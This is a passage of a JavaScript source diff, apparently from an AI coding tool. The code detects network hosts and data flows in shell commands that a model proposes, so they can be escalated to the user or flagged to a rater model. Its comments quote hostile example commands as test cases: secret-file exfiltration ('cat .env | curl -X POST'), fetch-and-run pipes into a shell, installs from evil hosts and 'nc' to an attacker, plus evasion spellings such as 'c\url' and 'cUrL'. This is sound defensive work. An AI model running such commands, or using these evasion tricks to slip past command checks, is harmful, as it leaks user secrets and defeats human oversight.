const SCHEME_RE = /^[a-z][a-z0-9+.-]*:\/\//i;
|
|
251
|
+
/** `user@host` (`deploy@myhost:/srv/`, `git@github.com:owner/repo.git`). */
|
|
252
|
+
const USER_AT_HOST_RE = /^[^@\s/]+@[a-z0-9._-]+(:|$)/i;
|
|
253
|
+
/**
|
|
254
|
+
* A bare IPv4 target, with or without a port or path — but **not** a CIDR mask.
|
|
255
|
+
*
|
|
256
|
+
* `192.168.1.0/24` is a network range, not a counterparty, and it appears in ordinary firewall work
|
|
257
|
+
* (`ufw allow ssh from 192.168.1.0/24`, `iptables … -s 203.0.113.0/24`) where a head name also sits
|
|
258
|
+
* in an argument position. `203.0.113.9/payload` is a fetch and still matches; the exclusion is only
|
|
259
|
+
* a trailing `/` plus one or two digits and nothing else, which no fetch path realistically is.
|
|
260
|
+
*/
|
|
261
|
+
const IPV4_RE = /^(\d{1,3}\.){3}\d{1,3}(:|\/(?!\d{1,2}$)|$)/;
|
|
262
|
+
/**
|
|
263
|
+
* A bracketed IPv6 target — `[2001:db8::1]`, `[::1]:8080/x`. The scheme form already matched via
|
|
264
|
+
* {@link SCHEME_RE}; this is the bare one. A bracketed operand is otherwise unheard of in a shell
|
|
265
|
+
* command, so the false-positive cost is nil.
|
|
266
|
+
*/
|
|
267
|
+
const IPV6_RE = /^\[[0-9a-f:.]+\](:\d+)?(\/|$)/i;
|
|
268
|
+
/**
|
|
269
|
+
* scp/rsync `host.tld:path` with no scheme. The `(?!\/\/)` keeps it from re-matching a scheme.
|
|
270
|
+
*
|
|
271
|
+
* The final label must be **letters, two or more** — a real TLD never is anything else (RFC 3696;
|
|
272
|
+
* an all-numeric final label is an address, and {@link IPV4_RE} owns that). Without that clause the
|
|
273
|
+
* pattern read a dotted **git refspec** as a host: `git push origin v1.2.3:refs/tags/v1.2.3` floored,
|
|
274
|
+
* which is routine release work and exactly the annoyance regression §4.6 is built to avoid.
|
|
275
|
+
*/
|
|
276
|
+
const HOST_COLON_PATH_RE = /^[a-z0-9-]+(\.[a-z0-9-]+)*\.[a-z]{2,}:(?!\/\/)/i;
|
|
277
|
+
/**
|
|
278
|
+
* A scheme-less dotted host **followed by a path or a port** — `example.com/install.sh`,
|
|
279
|
+
* `evil.example.net:8080/x`. Only offered to heads marked `bareHost`.
|
|
280
|
+
*
|
|
281
|
+
* The trailing `\/` or `:port` is what separates a hostname from a filename, and it is required for
|
|
282
|
+
* exactly that reason: `file.tar.gz`, `urls.txt`, `package.json` and `batch.txt` are all
|
|
283
|
+
* `label.label` with a letters-only final label, and admitting them would put a FILENAME in front of
|
|
284
|
+
* the user as the counterparty — which defeats §4.6.1, whose entire premise is that the sentence
|
|
285
|
+
* naming the host is the deliverable.
|
|
286
|
+
*
|
|
287
|
+
* The consequence, deliberate and documented: `ssh prod.example.com uptime` and
|
|
288
|
+
* `nc evil.example.net 4444` are **misses**, because neither has a path or a port attached. A miss
|
|
289
|
+
* costs a rating, which is what happened before this node existed.
|
|
290
|
+
*/
|
|
291
|
+
const BARE_HOST_RE = /^[a-z0-9-]+(\.[a-z0-9-]+)*\.[a-z]{2,}(:\d+)?\//i;
|
|
292
|
+
/**
|
|
293
|
+
* Does this operand name a host — a URL scheme, a `user@host`, an IPv4 literal, or an scp-style
|
|
294
|
+
* `host:path`? Deliberately syntactic: it asks *"is a counterparty named here"*, never *"is that
|
|
295
|
+
* counterparty trustworthy"* (§4.1.1).
|
|
296
|
+
*/
|
|
297
|
+
export function isHostLiteral(operand) {
|
|
298
|
+
return (SCHEME_RE.test(operand) ||
|
|
299
|
+
USER_AT_HOST_RE.test(operand) ||
|
|
300
|
+
IPV4_RE.test(operand) ||
|
|
301
|
+
IPV6_RE.test(operand) ||
|
|
302
|
+
HOST_COLON_PATH_RE.test(operand));
|
|
303
|
+
}
|
|
304
|
+
/**
|
|
305
|
+
* {@link isHostLiteral}, plus the scheme-less `host.tld/path` form. Applied only to operands of a
|
|
306
|
+
* head marked `bareHost` — see {@link BARE_HOST_RE} for why it is not applied everywhere.
|
|
307
|
+
*/
|
|
308
|
+
function isHostLiteralOrBareHost(operand) {
|
|
309
|
+
return isHostLiteral(operand) || BARE_HOST_RE.test(operand);
|
|
310
|
+
}
|
|
311
|
+
/**
|
|
312
|
+
* Reduce an argv[0] to the bare binary name: drop any path prefix, case-fold, drop a `.exe`.
|
|
313
|
+
*
|
|
314
|
+
* **The case fold is a real evasion fix, found by RUNNING the prototype rather than reading it.**
|
|
315
|
+
* `cUrL https://…` passed the first version, because {@link normalizeCommand} deliberately
|
|
316
|
+
* preserves case. That is irrelevant on Linux — but on **Windows and case-insensitive macOS
|
|
317
|
+
* volumes that command resolves and runs**, and gaunt-sloth ships on both. A local Linux test run
|
|
318
|
+
* cannot prove this cell; the CI matrix is what does.
|
|
319
|
+
*/
|
|
320
|
+
function bareHead(token) {
|
|
321
|
+
const lastSegment = token.split(/[\\/]/).pop() ?? '';
|
|
322
|
+
return lastSegment.toLowerCase().replace(/\.exe$/, '');
|
|
323
|
+
}
|
|
324
|
+
/**
|
|
325
|
+
* A token that is a URL rather than a program: `https://example.com/curl`'s last path segment is
|
|
326
|
+
* `curl`, and without this it would resolve to the head `curl` at whatever position it sits in.
|
|
327
|
+
*/
|
|
328
|
+
const URL_SHAPED_RE = /:\/\//;
|
|
329
|
+
/**
|
|
330
|
+
* Every position in argv that may be the network head, each with its own {@link HostPosition} and
|
|
331
|
+
* {@link HeadTier}.
|
|
332
|
+
*
|
|
333
|
+
* ## Why every position, and why no list of wrapper names
|
|
334
|
+
*
|
|
335
|
+
* This is the fourth shape of this function, and the previous three each died to the same failure:
|
|
336
|
+
* **naming the things that may precede a command.** The wrapper loop stopped at the first flag
|
|
337
|
+
* (`sudo -u root curl …` evaded); scanning to the *first* head re-anchored onto a decoy
|
|
338
|
+
* (`sudo -u git curl …` evaded, because `git` is a real system user); and gating the scan on a
|
|
339
|
+
* `WRAPPERS` membership test left `timeout 30 curl …` evading while `time curl …` floored — the
|
|
340
|
+
* near-homograph of a name that *was* in the list. Twelve more names (`nice`, `stdbuf`,
|
|
341
|
+
* `proxychains`, `torsocks`, `runuser`, `busybox`, `flock`, …) would have closed today's twelve and
|
|
342
|
+
* reopened on the thirteenth tool anyone writes.
|
|
343
|
+
*
|
|
344
|
+
* So there is no membership test in the loop below. **Every token is a candidate head**, and the
|
|
345
|
+
* question a name would have answered — *is this token the command, or an argument to one?* — is
|
|
346
|
+
* answered by TIER instead of by exclusion, so being wrong about it costs precision rather than the
|
|
347
|
+
* whole match.
|
|
348
|
+
*
|
|
349
|
+
* ## How the tier is decided
|
|
350
|
+
*
|
|
351
|
+
* `full` applies while nothing but flags, flag values, wrappers and `VAR=value` assignments has been
|
|
352
|
+
* passed — i.e. **while the command itself has not yet appeared**. The moment a token appears that is
|
|
353
|
+
* none of those (`cp` in `sudo -u root cp /usr/bin/curl backup.dir/`), that token is the command, every
|
|
354
|
+
* later head-shaped token is one of its arguments, and the tier drops to `restricted` for the rest of
|
|
355
|
+
* the argv. A flag's *value* keeps `full` alive — that is what makes `sudo -u root curl …` and
|
|
356
|
+
* `sudo -u git curl …` behave identically — without needing to know which flags take one.
|
|
357
|
+
*
|
|
358
|
+
* **`WRAPPERS` is consulted by the tier predicate and nowhere else**, which is the whole of what is
|
|
359
|
+
* left of it. There used to be a loop here that advanced an index past leading wrappers and
|
|
360
|
+
* `VAR=value` assignments; once the tier predicate existed that loop was **provably dead** — deleting
|
|
361
|
+
* it entirely changed no test and no behaviour, because the predicate already lets a wrapper keep the
|
|
362
|
+
* `full` tier alive at the position the loop would have landed on. It is gone rather than kept as an
|
|
363
|
+
* unkillable branch. Emptying `WRAPPERS`, by contrast, turns 20 tests red: a name missing from it now
|
|
364
|
+
* costs *precision* (a scheme-less target behind that wrapper goes unseen) rather than the whole
|
|
365
|
+
* command, which is exactly the demotion that makes `timeout`-vs-`time` no longer a security bug.
|
|
366
|
+
*/
|
|
367
|
+
function headCandidates(argv) {
|
|
368
|
+
const candidates = [];
|
|
369
|
+
const trueHead = NETWORK_HEADS.get(bareHead(argv[0] ?? ''));
|
|
370
|
+
if (trueHead !== undefined)
|
|
371
|
+
candidates.push({ index: 0, position: trueHead, tier: 'full' });
|
|
372
|
+
// Has anything other than a flag / flag value / wrapper / assignment been passed yet? Once it has,
|
|
373
|
+
// the command has appeared and every later head-shaped token is an argument to it.
|
|
374
|
+
let beforeTheCommand = true;
|
|
375
|
+
for (let scan = 1; scan < argv.length; scan++) {
|
|
376
|
+
const passed = argv[scan - 1];
|
|
377
|
+
const passedIsFlagValue = scan >= 2 && argv[scan - 2].startsWith('-');
|
|
378
|
+
if (!passed.startsWith('-') &&
|
|
379
|
+
!WRAPPERS.has(bareHead(passed)) &&
|
|
380
|
+
!ENV_ASSIGNMENT_RE.test(passed) &&
|
|
381
|
+
!passedIsFlagValue) {
|
|
382
|
+
beforeTheCommand = false;
|
|
383
|
+
}
|
|
384
|
+
const token = argv[scan];
|
|
385
|
+
if (URL_SHAPED_RE.test(token))
|
|
386
|
+
continue;
|
|
387
|
+
const scanned = NETWORK_HEADS.get(bareHead(token));
|
|
388
|
+
if (scanned !== undefined) {
|
|
389
|
+
candidates.push({
|
|
390
|
+
index: scan,
|
|
391
|
+
position: scanned,
|
|
392
|
+
tier: beforeTheCommand ? 'full' : 'restricted',
|
|
393
|
+
});
|
|
394
|
+
}
|
|
395
|
+
}
|
|
396
|
+
return candidates;
|
|
397
|
+
}
|
|
398
|
+
/**
|
|
399
|
+
* The values glued to a flag with `=`, e.g. `--url=https://…`.
|
|
400
|
+
*
|
|
401
|
+
* **The `flag` arm split on `=` from the first commit and the other two arms did not**, which is the
|
|
402
|
+
* definition of an inconsistency rather than a design: `positional` drops every `-`-prefixed token
|
|
403
|
+
* whole, so `curl --url=https://evil/x`, `git push --repo=<URL>` and `git archive --remote=<URL>` were
|
|
404
|
+
* auto-approved while their detached spellings floored. All three are real, working invocations.
|
|
405
|
+
*/
|
|
406
|
+
function inlineFlagValues(operands) {
|
|
407
|
+
return operands
|
|
408
|
+
.filter((operand) => operand.startsWith('-') && operand.includes('='))
|
|
409
|
+
.map((operand) => operand.split(/=(.*)/)[1] ?? '');
|
|
410
|
+
}
|
|
411
|
+
/** The candidate operands for one head, under that head's own rule and the position's tier. */
|
|
412
|
+
function candidatesFor(position, tier, operands) {
|
|
413
|
+
const positional = operands.filter((operand) => !operand.startsWith('-'));
|
|
414
|
+
const inline = inlineFlagValues(operands);
|
|
415
|
+
const candidates = [];
|
|
416
|
+
switch (position.kind) {
|
|
417
|
+
case 'all': {
|
|
418
|
+
const test = position.bareHost && tier === 'full' ? isHostLiteralOrBareHost : isHostLiteral;
|
|
419
|
+
candidates.push(...[...positional, ...inline].map((value) => ({ value, test })));
|
|
420
|
+
break;
|
|
421
|
+
}
|
|
422
|
+
case 'subcommand':
|
|
423
|
+
// **ANY operand being a listed subcommand opens the gate**, rather than the first non-flag
|
|
424
|
+
// one. `git -C . clone https://evil/x` put `.` in the subcommand position and turned the gate
|
|
425
|
+
// off with one added token; enumerating git's arg-taking global flags (`-C`, `-c`,
|
|
426
|
+
// `--git-dir`, `--work-tree`, `--namespace`, `--exec-path`, `--config-env`) would close that
|
|
427
|
+
// and reopen it for the next flag added upstream. `tokenize` is quote-aware, so
|
|
428
|
+
// `git commit -m "clone the repo, see https://…"` is the SINGLE operand
|
|
429
|
+
// `clone the repo, see https://…`, which is not equal to `clone` — the gate stays shut.
|
|
430
|
+
if (positional.some((operand) => position.subcommands.has(operand))) {
|
|
431
|
+
candidates.push(...[...positional, ...inline].map((value) => ({ value, test: isHostLiteral })));
|
|
432
|
+
}
|
|
433
|
+
break;
|
|
434
|
+
case 'flag': {
|
|
435
|
+
// `<pm> run <script> -- …` hands everything after the `--` to the SCRIPT: the package manager
|
|
436
|
+
// stops parsing there and never sees those tokens, so nothing after it is a package-manager
|
|
437
|
+
// fetch position. Without this, `npm run dev -- --proxy https://api.example.com` and
|
|
438
|
+
// `npm run build -- --url <URL>` — ordinary dev-server invocations — prompted every time.
|
|
439
|
+
//
|
|
440
|
+
// **Scoped to `run`/`run-script` on purpose, and that scope is the whole safety of it.** `--`
|
|
441
|
+
// is an end-of-options marker for the OTHER subcommands, where the operands after it are still
|
|
442
|
+
// the package manager's own: `npm install -- https://evil/pkg.tgz` installs that tarball, and
|
|
443
|
+
// it must keep flooring. A blanket "ignore everything after `--`" would be an evasion.
|
|
444
|
+
//
|
|
445
|
+
// The residual, stated so it is a decision: a project script that forwards its arguments to a
|
|
446
|
+
// network tool (`"build": "curl"`) would fetch a post-`--` URL. That is not a package-manager
|
|
447
|
+
// fetch, it is indistinguishable from the same script with the URL hardcoded — which
|
|
448
|
+
// `npm run build` alone already is, silently — and reaching it requires a script that already
|
|
449
|
+
// exists in package.json.
|
|
450
|
+
const scriptArgs = RUN_SUBCOMMANDS.has(positional[0] ?? '') ? operands.indexOf('--') : -1;
|
|
451
|
+
const own = scriptArgs === -1 ? operands : operands.slice(0, scriptArgs);
|
|
452
|
+
const ownPositional = own.filter((operand) => !operand.startsWith('-'));
|
|
453
|
+
// The registry/index OVERRIDE is exempt from that boundary, and deliberately so: it is scanned
|
|
454
|
+
// across the whole argv. A first cut honoured the boundary here too, and no mutation could kill
|
|
455
|
+
// it — nothing observable changed, because the flags this arm knows (`--registry`,
|
|
456
|
+
// `--index-url`, `-i`) are not the flags the false positive was about (`--url`, `--proxy`,
|
|
457
|
+
// `--host`, which no package manager parses). Scanning everything is the raise-only choice and
|
|
458
|
+
// the one without an untestable branch: `npm run build -- --registry <URL>` floors, which is an
|
|
459
|
+
// over-match rather than a miss.
|
|
460
|
+
for (let i = 0; i < operands.length; i++) {
|
|
461
|
+
// Both spellings: `--registry=URL` and `--registry URL`.
|
|
462
|
+
const [flag, inlineValue] = operands[i].split(/=(.*)/);
|
|
463
|
+
if (position.flags.has(flag)) {
|
|
464
|
+
candidates.push({ value: inlineValue ?? operands[i + 1] ?? '', test: isHostLiteral });
|
|
465
|
+
}
|
|
466
|
+
}
|
|
467
|
+
// The install TARGET, tested for a URL scheme ONLY. `npm install https://evil/p.tgz` fetches
|
|
468
|
+
// remote code and runs its lifecycle scripts, and was auto-approved because this arm looked at
|
|
469
|
+
// flag values alone. The narrow test is deliberate: the full `isHostLiteral` would read
|
|
470
|
+
// `npm install typescript@latest` and `npm install lodash@4.17.21` as `user@host` and prompt
|
|
471
|
+
// on two of the most ordinary commands there are.
|
|
472
|
+
candidates.push(...[...ownPositional, ...inlineFlagValues(own)].map((value) => ({
|
|
473
|
+
value,
|
|
474
|
+
test: (operand) => SCHEME_RE.test(operand),
|
|
475
|
+
})));
|
|
476
|
+
break;
|
|
477
|
+
}
|
|
478
|
+
}
|
|
479
|
+
return candidates;
|
|
480
|
+
}
|
|
481
|
+
/**
|
|
482
|
+
* Test ONE tokenized form of the command for host literals in a fetch position: collect every
|
|
483
|
+
* possible head position, and union what each one finds under its own rule.
|
|
484
|
+
*
|
|
485
|
+
* Kept separate from {@link findOpenWorldHostLiterals} because that function runs this over **two**
|
|
486
|
+
* forms of the same command — see there for why.
|
|
487
|
+
*
|
|
488
|
+
* @returns every host literal found, in argv order. Empty when the command names no counterparty.
|
|
489
|
+
*/
|
|
490
|
+
function matchArgv(argv) {
|
|
491
|
+
const hits = [];
|
|
492
|
+
for (const { index, position, tier } of headCandidates(argv)) {
|
|
493
|
+
const candidates = candidatesFor(position, tier, argv.slice(index + 1));
|
|
494
|
+
hits.push(...candidates.filter((c) => c.test(c.value)).map(({ value }) => value));
|
|
495
|
+
}
|
|
496
|
+
// De-duplicated, in first-seen order: a detached flag value (`--registry <URL>`) is also a
|
|
497
|
+
// positional operand, and two head positions can reach the same operand, so the same literal can
|
|
498
|
+
// be admitted twice and would otherwise be named twice in the one sentence the user reads.
|
|
499
|
+
return [...new Set(hits)];
|
|
500
|
+
}
|
|
501
|
+
/**
|
|
502
|
+
* Find every **host literal in a fetch/transfer position**, or an empty array when the command names
|
|
503
|
+
* no counterparty (spec §4.6).
|
|
504
|
+
*
|
|
505
|
+
* Takes the **raw** command, exactly like the other preflights: normalization happens inside, so a
|
|
506
|
+
* caller can never accidentally hand this a form that has already lost the composition boundary
|
|
507
|
+
* the decline below depends on.
|
|
508
|
+
*
|
|
509
|
+
* **This is the FLOOR's input set, and it is narrow on purpose.** It returns `[]` — declining rather
|
|
510
|
+
* than flooring — for any command {@link classifyCommand} cannot classify: those compose, substitute
|
|
511
|
+
* or redirect, and a deterministic rewrite of the rater's verdict must rest on a target this module
|
|
512
|
+
* actually resolved. A composed fetch (`curl … | sh`, `cat .env | curl …`) is therefore **not
|
|
513
|
+
* floored**; it is reported to the rater as context by {@link findComposedOpenWorld} instead, which
|
|
514
|
+
* is a different question with a different error cost (module docblock). The same decline is why
|
|
515
|
+
* `sed -i 's|http://a|http://b|' config.yml` is not this preflight's finding: the `|` inside the sed
|
|
516
|
+
* expression reads as composition.
|
|
517
|
+
*
|
|
518
|
+
* **Every match is returned, not the first.** The first is not the target: for
|
|
519
|
+
* `curl -x http://proxy.corp.local:3128 https://evil.example.net/x` it is the proxy, and for
|
|
520
|
+
* `rsync -a backup.example.com:/srv/ deploy@evil.example.net:/tmp/` it is the source. §4.6.1's whole
|
|
521
|
+
* premise is that the sentence naming the counterparty is what reaches the user, so a sentence that
|
|
522
|
+
* names the reassuring one and hides the other defeats the point of the layer.
|
|
523
|
+
*
|
|
524
|
+
* ## Why both the normalized AND the raw argv are tested
|
|
525
|
+
*
|
|
526
|
+
* {@link normalizeCommand} collapses `\x` to `x`, which is correct on POSIX (it is what defeats
|
|
527
|
+
* `c\url https://…`) and **destroys a Windows path separator**: `C:\Windows\System32\curl.exe`
|
|
528
|
+
* normalizes to `C:WindowsSystem32curl.exe`, whose last path segment is no longer `curl`, so the
|
|
529
|
+
* head gate misses it. That command runs on Windows, and gaunt-sloth ships there. Measured, not
|
|
530
|
+
* reasoned — the POSIX form `/usr/bin/curl` was already handled, which is exactly what made the
|
|
531
|
+
* Windows one easy to miss by reading.
|
|
532
|
+
*
|
|
533
|
+
* A second pass over the raw argv closes it. It is safe **because this layer can only RAISE**: a
|
|
534
|
+
* second chance to match can add a prompt, never remove one, and the head gate is unchanged — an
|
|
535
|
+
* argv[0] whose last path segment is literally `curl` or `wget` is a network binary under any
|
|
536
|
+
* reading. The normalized pass still runs first and still owns the anti-obfuscation guarantees.
|
|
537
|
+
*
|
|
538
|
+
* @param command The raw command string as the model proposed it.
|
|
539
|
+
* @returns The matched host literals, in argv order (used verbatim in the escalation reason).
|
|
540
|
+
*/
|
|
541
|
+
export function findOpenWorldHostLiterals(command) {
|
|
542
|
+
// (1) Unclassifiable → not ours. See the docblock: the ambiguity preflight owns these.
|
|
543
|
+
if (classifyCommand(command, normalizeCommand) === null)
|
|
544
|
+
return [];
|
|
545
|
+
// The anti-obfuscation form first — `c\url`, `r''m`, fullwidth glyphs and ANSI escapes are all
|
|
546
|
+
// folded away here.
|
|
547
|
+
const normalizedArgv = tokenize(normalizeCommand(command));
|
|
548
|
+
// `null` is unreachable in practice (classifyCommand already returns null on an unbalanced
|
|
549
|
+
// quote); handled anyway so this function is total on its own terms rather than relying on a
|
|
550
|
+
// neighbour's invariant.
|
|
551
|
+
const normalizedHits = normalizedArgv === null ? [] : matchArgv(normalizedArgv);
|
|
552
|
+
if (normalizedHits.length > 0)
|
|
553
|
+
return normalizedHits;
|
|
554
|
+
// …then the raw form, which is the only one that still has its Windows path separators.
|
|
555
|
+
const rawArgv = tokenize(command);
|
|
556
|
+
return rawArgv === null ? [] : matchArgv(rawArgv);
|
|
557
|
+
}
|
|
558
|
+
/* ───────────────────────────────────────────────────────────────────────────────────────────────
|
|
559
|
+
* THE NOTE PATH — what the RATER is told about a composed command that names a host.
|
|
560
|
+
*
|
|
561
|
+
* Everything below feeds {@link import('./rater.js').buildRaterPrompt} and nothing else. It never
|
|
562
|
+
* reaches {@link import('./rater.js').mapVerdictToAction}, so it can raise no floor and change no
|
|
563
|
+
* outcome on its own.
|
|
564
|
+
*
|
|
565
|
+
* **Why it exists at all.** {@link findOpenWorldHostLiterals} declines a command the parser could
|
|
566
|
+
* not resolve, and that decline used to be invisible because the same commands were floored by the
|
|
567
|
+
* ambiguity abstention. With the abstention retired they are RATED — and because one function fed
|
|
568
|
+
* both the floor and the note, a composed command reached the rater with *less* information than
|
|
569
|
+
* the same fetch written as a single command: no floor, and no mention of the host either. Adding a
|
|
570
|
+
* pipe removed information from the model. That asymmetry is what this path closes.
|
|
571
|
+
*
|
|
572
|
+
* **And the host alone is not the information.** A rater sees a hostname, names it in its own
|
|
573
|
+
* reasoning, and rates the command safely anyway — which is why host trust is deterministic
|
|
574
|
+
* exact-match and not a model call in the first place. Restating a hostname that is already in the
|
|
575
|
+
* command text is assistance in form only. What a model can genuinely miss is the **data flow across
|
|
576
|
+
* the parts**: in `cat .env | curl -X POST https://…` the fact worth stating is that a local file's
|
|
577
|
+
* contents are read into an outbound request, which takes composing two segments to see — exactly
|
|
578
|
+
* what the parser failed to do. So the note names the FLOW where one is determinable, and says only
|
|
579
|
+
* what it knows where one is not.
|
|
580
|
+
*
|
|
581
|
+
* **Two rules govern every sentence below, and both are load-bearing:**
|
|
582
|
+
*
|
|
583
|
+
* 1. **It never invents a flow.** An arm fires only where its mechanism is true of the program
|
|
584
|
+
* named — the at-sign convention only for a program that has it, a substitution only where the
|
|
585
|
+
* program SENDS that operand, execution of fetched bytes only where **no token on the
|
|
586
|
+
* interpreter's own argv could be a program**. That last one is read from ARGV SHAPE alone,
|
|
587
|
+
* without knowing what any flag letter means, so it hedges wherever a token has text of its own
|
|
588
|
+
* that could be a program — and where two shapes are indistinguishable by their characters it
|
|
589
|
+
* can be wrong in EITHER direction, which {@link interpreterRunsStdin} names case by case rather
|
|
590
|
+
* than claiming a property this code does not have. Anything else falls through to the flowless
|
|
591
|
+
* sentence. The module docblock says why this is not the same trade-off as over-matching a host.
|
|
592
|
+
* 2. **It names every host of the part it describes**, and any host the rest of the line names is
|
|
593
|
+
* added rather than dropped. Naming a flow must never cost the note a counterparty, or adding a
|
|
594
|
+
* pipe would once again remove information from the model — the very asymmetry this path exists
|
|
595
|
+
* to close.
|
|
596
|
+
* ─────────────────────────────────────────────────────────────────────────────────────────────── */
|
|
597
|
+
/**
|
|
598
|
+
* The shells. Kept as its own set because one thing is true of shells and of nothing else here: a
|
|
599
|
+
* `-s` in a flag cluster means *"the program is standard input, and every operand after it is an
|
|
600
|
+
* ARGUMENT to that program"* — `curl … | sh -s -- --unattended`, the ordinary unattended-installer
|
|
601
|
+
* form. Elsewhere the same letter means something unrelated (`python3 -s` is a site-packages
|
|
602
|
+
* switch), which is why {@link interpreterRunsStdin} consults it only for these heads.
|
|
603
|
+
*/
|
|
604
|
+
const SHELL_INTERPRETERS = new Set([
|
|
605
|
+
'sh',
|
|
606
|
+
'bash',
|
|
607
|
+
'zsh',
|
|
608
|
+
'dash',
|
|
609
|
+
'ksh',
|
|
610
|
+
'ash',
|
|
611
|
+
'csh',
|
|
612
|
+
'tcsh',
|
|
613
|
+
'fish',
|
|
614
|
+
]);
|
|
615
|
+
/**
|
|
616
|
+
* Programs that CAN run what arrives on their standard input. Piping a fetch into one of these makes
|
|
617
|
+
* the fetched bytes the program **when no token on that interpreter's own argv could be a program
|
|
618
|
+
* instead** — which is the question {@link interpreterRunsStdin} answers, and which decides which
|
|
619
|
+
* sentence this note carries.
|
|
620
|
+
*
|
|
621
|
+
* An enumeration, and a miss costs only a less specific note (the host is still named and the
|
|
622
|
+
* remaining sentence is still true), which is what makes an enumeration acceptable *here* and not in
|
|
623
|
+
* a layer that decides an outcome.
|
|
624
|
+
*/
|
|
625
|
+
const STDIN_INTERPRETERS = new Set([
|
|
626
|
+
...SHELL_INTERPRETERS,
|
|
627
|
+
'python',
|
|
628
|
+
'python2',
|
|
629
|
+
'python3',
|
|
630
|
+
'node',
|
|
631
|
+
'nodejs',
|
|
632
|
+
'deno',
|
|
633
|
+
'bun',
|
|
634
|
+
'perl',
|
|
635
|
+
'ruby',
|
|
636
|
+
'php',
|
|
637
|
+
'lua',
|
|
638
|
+
'osascript',
|
|
639
|
+
'powershell',
|
|
640
|
+
'pwsh',
|
|
641
|
+
]);
|
|
642
|
+
/** A short-flag cluster: one dash, then letters or digits (`-s`, `-fsSL`, `-es`). */
|
|
643
|
+
const SHORT_FLAG_CLUSTER_RE = /^-[A-Za-z0-9]+$/;
|
|
644
|
+
/** A long flag with nothing attached: two dashes, then letters, digits or dashes (`--norc`). */
|
|
645
|
+
const LONG_FLAG_RE = /^--[A-Za-z0-9][A-Za-z0-9-]*$/;
|
|
646
|
+
/** A token that is nothing but dashes (`-`, `--`). It has no room to carry a program. */
|
|
647
|
+
const DASHES_ONLY_RE = /^-+$/;
|
|
648
|
+
/**
|
|
649
|
+
* Is this token a flag and ONLY a flag — with no text glued to it that could be a program?
|
|
650
|
+
*
|
|
651
|
+
* Three shapes qualify, and each is a statement about the token's characters rather than about what
|
|
652
|
+
* any program does with them: nothing but dashes, a short-flag cluster, or a long flag with nothing
|
|
653
|
+
* attached. Every other `-`-leading token — `-mjson.tool`, `-pes/a/b/`, `--eval=console.log(1)`,
|
|
654
|
+
* `-cprint(1)` — carries text of its own, and that text can be a program.
|
|
655
|
+
*
|
|
656
|
+
* The limit is exactly where the characters stop distinguishing: a glued value made only of letters
|
|
657
|
+
* and digits (`-mbase64`) is the same shape as a flag cluster (`-fsSL`) and passes here.
|
|
658
|
+
* {@link interpreterRunsStdin} records what that costs — and note the cost is not uniform, since
|
|
659
|
+
* `-MJSON` has that same shape while the reading it produces is correct.
|
|
660
|
+
*/
|
|
661
|
+
function isCleanFlag(token) {
|
|
662
|
+
return (DASHES_ONLY_RE.test(token) || SHORT_FLAG_CLUSTER_RE.test(token) || LONG_FLAG_RE.test(token));
|
|
663
|
+
}
|
|
664
|
+
/**
|
|
665
|
+
* Does this line leave the interpreter's PROGRAM to standard input, or could a token on the
|
|
666
|
+
* interpreter's own argv be the program instead?
|
|
667
|
+
*
|
|
668
|
+
* Answered from the shape of the argv alone. **There is deliberately no table of what each
|
|
669
|
+
* interpreter's flags mean**, because that table is the enumeration that acquires a blind spot one
|
|
670
|
+
* release at a time ([[cmd-pos-is-an-enumeration]]) — and here a wrong entry does not cost a miss,
|
|
671
|
+
* it puts a FALSE MECHANISM in front of the rater in one direction or the other. `-e` is `eval` to
|
|
672
|
+
* node and perl and `errexit` to every shell; `-m` is a module to python and job control to bash. Two
|
|
673
|
+
* program-agnostic facts settle it instead:
|
|
674
|
+
*
|
|
675
|
+
* - **A token that is not a clean flag by shape** ({@link isCleanFlag}) may be the program
|
|
676
|
+
* (`python3 script.py`), or the value of a flag that supplies one — whether that value is spaced
|
|
677
|
+
* (`bash -c "…"`, `python3 -m json.tool`) or GLUED to the flag (`python3 -mjson.tool`,
|
|
678
|
+
* `perl -pe's/a/b/'`, `node --eval="…"`). Shape cannot tell those apart, and it does not need to:
|
|
679
|
+
* in every one of them the line may hand the interpreter something of its own, so the note must
|
|
680
|
+
* not say the fetched bytes are what runs. Testing merely for a leading dash instead would make
|
|
681
|
+
* the gate spelling-sensitive where it has to be shape-sensitive, and assert execution of a
|
|
682
|
+
* `curl … | python3 -mjson.tool` that only pretty-prints.
|
|
683
|
+
* - **A shell's `-s`, alone or in a cluster**, says the program IS standard input. It therefore
|
|
684
|
+
* WINS over the token test, which would otherwise read the script's own arguments (`sh -s foo`)
|
|
685
|
+
* as a program and soften the sentence on the hostile shape.
|
|
686
|
+
*
|
|
687
|
+
* **Where shape runs out — both directions, stated rather than claimed away.** Two token shapes are
|
|
688
|
+
* indistinguishable from a clean flag by their characters alone, and each costs a different error:
|
|
689
|
+
*
|
|
690
|
+
* - **A DETACHED flag value** (`bash -o pipefail`, `bash --rcfile /dev/null`) is a token with text
|
|
691
|
+
* of its own, so it reads as a possible program and a shell that really does run its standard
|
|
692
|
+
* input gets the hedged sentence. This one UNDER-claims, which is the tolerable side: the note
|
|
693
|
+
* still names every host and still says the fetched bytes may be what executes.
|
|
694
|
+
* - **A glued value made only of letters and digits** (`python3 -mbase64`) is the same characters
|
|
695
|
+
* as a flag cluster, so it reads as a clean flag and the strong sentence fires on a line that only
|
|
696
|
+
* ENCODES the fetched bytes. This one OVER-claims, which is the failure this note path exists to
|
|
697
|
+
* remove — it is narrowed here to the shapes characters cannot separate, not eliminated.
|
|
698
|
+
* Note the shape does not decide the direction: `perl -MJSON` is the identical shape and the
|
|
699
|
+
* strong sentence is TRUE there, because `-M` only loads a module and leaves standard input as
|
|
700
|
+
* the program. Both are pinned, the second as correct behaviour rather than as a gap.
|
|
701
|
+
*
|
|
702
|
+
* Neither is closable from shape. Both need to know which flags take a value, which is the table
|
|
703
|
+
* this function refuses: a wrong entry there would state a false mechanism on EVERY line using that
|
|
704
|
+
* flag, where shape is wrong only on the lines whose tokens are genuinely ambiguous. Both are pinned
|
|
705
|
+
* in the spec, so closing either is a decision and not a drift.
|
|
706
|
+
*/
|
|
707
|
+
function interpreterRunsStdin(head, operands) {
|
|
708
|
+
if (SHELL_INTERPRETERS.has(head)) {
|
|
709
|
+
const forcesStdin = operands.some((operand) => SHORT_FLAG_CLUSTER_RE.test(operand) && operand.includes('s'));
|
|
710
|
+
if (forcesStdin)
|
|
711
|
+
return true;
|
|
712
|
+
}
|
|
713
|
+
return operands.every(isCleanFlag);
|
|
714
|
+
}
|
|
715
|
+
/**
|
|
716
|
+
* Split a command line into its parts at the separators the SHELL would act on.
|
|
717
|
+
*
|
|
718
|
+
